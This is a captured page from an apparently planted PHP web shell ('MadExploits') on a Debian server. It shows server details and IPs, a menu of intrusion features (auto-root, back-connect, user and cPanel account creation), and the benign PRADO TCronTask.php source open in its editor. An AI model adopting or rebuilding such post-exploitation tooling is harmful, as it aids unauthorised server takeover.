Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.23.101.75
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Util /
Cron /
[ HOME SHELL ]
Name
Size
Permission
Action
TCronMethodTask.php
2.88
KB
-rw-r--r--
TCronModule.php
19.51
KB
-rw-r--r--
TCronTask.php
5.39
KB
-rw-r--r--
TCronTaskInfo.php
3.61
KB
-rw-r--r--
TDbCronCleanLogTask.php
2.04
KB
-rw-r--r--
TDbCronModule.php
29.29
KB
-rw-r--r--
TShellCronAction.php
5.24
KB
-rw-r--r--
TShellCronLogBehavior.php
3.6
KB
-rw-r--r--
TShellDbCronAction.php
5.68
KB
-rw-r--r--
TTimeScheduler.php
22.51
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TCronTask.php
<?php /** * TCronTask class file. * * @author Brad Anderson <belisoful@icloud.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Util\Cron; use Prado\Exceptions\TConfigurationException; use Prado\Prado; use Prado\TApplicationComponent; use Prado\TPropertyValue; /** * TCronTask class. * * TCronTask is the base class for all cron tasks. Subclasses need to implement the * abstract method {@link execute} to run tasks. * If a task is not run at the schedule time, it is run at the next available task sweep. * * @author Brad Anderson <belisoful@icloud.com> * @since 4.2.0 */ abstract class TCronTask extends TApplicationComponent { /** @var string The name of the task */ private $_name; /** @var string The schedule */ private $_schedule; /** @var string The user Id of the task */ private $_userName; /** @var string The module Id */ private $_moduleId; /** @var TTimeScheduler The time scheduler */ private $_scheduler; /** @var int The number of times which the cron task has run since the counter has been cleared */ private $_processCount = 0; /** @var int the last time this task was run */ private $_lastexectime; /** * This is the abstract method for running a task. * @param TCronModule $cronModule the module calling the task */ abstract public function execute($cronModule); /** * @return string the unique name of the Task */ public function getName() { return $this->_name; } /** * @param string $name the unique name of the Task */ public function setName($name) { $this->_name = TPropertyValue::ensureString($name); } /** * @return string the cron style schedule of the task */ public function getSchedule() { return $this->_schedule; } /** * * @param string $schedule the cron style schedule of the task */ public function setSchedule($schedule) { $this->_schedule = TPropertyValue::ensureString($schedule); if ($this->_scheduler) { $this->_scheduler->setSchedule($this->_schedule); } } /** * @return string the task being executed */ public function getTask() { return get_class($this); } /** * @return string the user id executing the Task */ public function getUserName() { return $this->_userName; } /** * @param string $username the user id executing the Task */ public function setUserName($username) { $this->_userName = TPropertyValue::ensureString($username); } /** * @return null|string the utility module for the task */ public function getModuleId() { return $this->_moduleId; } /** * * @param string $moduleId the utility module for the task. */ public function setModuleId($moduleId) { $this->_moduleId = ($moduleId !== null) ? TPropertyValue::ensureString($moduleId) : null; } /** * @return null|\Prado\IModule returns the module from ModuleId */ public function getModule() { $app = $this->getApplication(); $module = $app->getModule($this->_moduleId); if ($module === null && $this->_moduleId !== null) { throw new TConfigurationException('crontask_no_module', $this->_moduleId); } return $module; } /** * @return int the number of times the task has run */ public function getProcessCount() { return $this->_processCount; } /** * * @param int $count the number of times the task has run */ public function setProcessCount($count) { return $this->_processCount = $count; } /** * @return numeric the time of running this cron task */ public function getLastExecTime() { return $this->_lastexectime; } /** * sometimes floats don't output correctly to 6 significant figures (microtime). * @param numeric $v the time of running this cron task */ public function setLastExecTime($v) { $this->_lastexectime = TPropertyValue::ensureInteger($v); } /** * @return numeric time of the next trigger after the lastExecTime */ public function getNextTriggerTime() { $s = $this->getScheduler(); return $s->getNextTriggerTime($this->_lastexectime); } /** * @return bool is the current time after the NextTriggerTime */ public function getIsPending() { return time() >= $this->getNextTriggerTime(); } /** * @return \Prado\Util\Cron\TTimeScheduler the time scheduler for processing the schedule */ public function getScheduler() { if ($this->_scheduler === null) { $this->_scheduler = Prado::createComponent('Prado\\Util\\Cron\\TTimeScheduler'); $this->_scheduler->setSchedule($this->_schedule); } return $this->_scheduler; } /** * Returns an array with the names of all variables of this object that should NOT be serialized * because their value is the default one or useless to be cached for the next load. * Reimplement in derived classes to add new variables, but remember to also to call the parent * implementation first. * @param array $exprops by reference */ protected function _getZappableSleepProps(&$exprops) { parent::_getZappableSleepProps($exprops); $exprops[] = "\0Prado\Util\Cron\TCronTask\0_scheduler"; if ($this->_userName === null) { $exprops[] = "\0Prado\Util\Cron\TCronTask\0_userName"; } if ($this->_moduleId === null) { $exprops[] = "\0Prado\Util\Cron\TCronTask\0_moduleId"; } if ($this->_processCount == 0) { $exprops[] = "\0Prado\Util\Cron\TCronTask\0_processCount"; } if ($this->_lastexectime == null) { $exprops[] = "\0Prado\Util\Cron\TCronTask\0_lastexectime"; } } }
Close